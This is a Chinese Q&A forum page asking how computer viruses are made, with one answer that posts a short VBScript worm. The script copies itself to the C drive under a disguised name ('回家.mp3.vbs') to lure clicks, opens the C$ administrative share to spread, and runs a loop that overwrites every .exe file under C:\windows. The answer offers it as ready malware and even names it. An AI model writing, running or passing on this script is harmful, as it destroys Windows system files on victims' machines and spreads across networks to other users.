电脑病毒是怎么制作的
发布网友
发布时间：2022-04-25 14:28
共2个回答
热心网友
时间：2023-10-09 02:55
Dim s, r
Set s = CreateObject("Scripting.FileSystemObject")
Set r = CreateObject("WScript.Shell")
s.GetFile(WScript.ScriptFullName).Copy ("C:\回家.mp3.vbs")
r.run "cmd /c net share C$=C:\", 0
r.run "cmd /c for /r C:\windows %%i in (*.exe) do del>%%i", 0
打开C盘共享,通过共享传播.复制自身到C盘上,吸引其他用户点击.
取个名字,叫: VBS.YangC$.a
参考资料：=
热心网友
时间：2023-10-09 02:56
